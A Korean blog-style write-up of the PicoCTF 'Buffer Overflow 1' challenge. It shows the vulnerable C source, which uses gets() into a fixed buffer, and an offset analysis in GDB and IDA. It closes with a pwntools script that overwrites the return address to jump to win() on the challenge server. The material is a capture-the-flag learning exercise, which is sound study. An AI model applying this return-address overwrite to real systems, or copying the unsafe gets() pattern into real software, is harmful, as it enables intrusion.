-PicoCTF- Buffer Over Flow 1
문제의 소스코드는 다음과 같다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
보면 버퍼오버플로우를 일으켜서 RET 값을 위조하여 Cat flag 가 있는 win 함수부분으로 가서 플래그를 얻으면 되는 문제 같다.
먼저 GDB로 까봤다.
실행화면과 메인함수를 디스어셈블리한 결과다.
친절하게 입력한 값과 점핑 된 값을 보여준다.
보호기법 또한 친절하게 걸려있지 않으므로 이를 통해 페이로드를 구성하면 될 거 같다.
아이다에서 디스어셈블한 결과다. 딱히 gdb로 뜯어보았을 때랑 크게 다른 점은 없어 보인다.
아무쪼록 IDA를 통해 offset 을 구해보자면 main 함수 부분에서 ebp-14 에서 값을 하나 받는다. 하지만 해당 부분을 사용자를 통해 받지 않으므로 우리가 주목해 봐야할 부분은 따로 있는거 같다. 이후 gdb에서 다시 확인을 해보면 call vuln 함수 부분을 찾을 수 있으므로 아마도 우리가 버퍼를 채울 수 있는 수단인 입력 함수는 vuln 함수에 있는거 같아 디컴파일 해 봤다.
vuln 함수를 디컴파일 한 결과이다.
v3을 입력 받고 ebp 위에 0x4 만큼 위에 있는 값을 확인할 수 있다.
이를통해 둘이 오프셋을 구할 수 있지 않을까 생각해 보았다.
0x2C - (-0x4) == 0x30 == 48
으로 오프셋 값은 48로 나왔다.
이후 gdb에서 패턴을 생성하며 ret 함수까지 오프셋을 구해보면
이를 통해 RET 까지 거리는 48이라는 걸 확인할 수 있다.
48 -4 == 44 거리에 해당 프로그램에서 알려주는 점프되는 값을 win 함수의 주소로 값을 넣어준다면 해당 주소로 이동하여 플래그를 실행시킬 수 있을 것이다. 그렇게 짠 페이로드는 다음과 같다.
from pwn import *
p = remote("saturn.picoctf.net", 52253)
offset = 44
flag_addr = 0x080491f6
payload = b'A' * 44 + p32(flag_addr) + b'B' * 4
p.recvuntil("Please enter your string:")
p.sendline(payload)
p.recvuntil("Okay, time to return... Fingers Crossed... Jumping to")
data = p.recv(100)
print(data)
야호 성공이다 !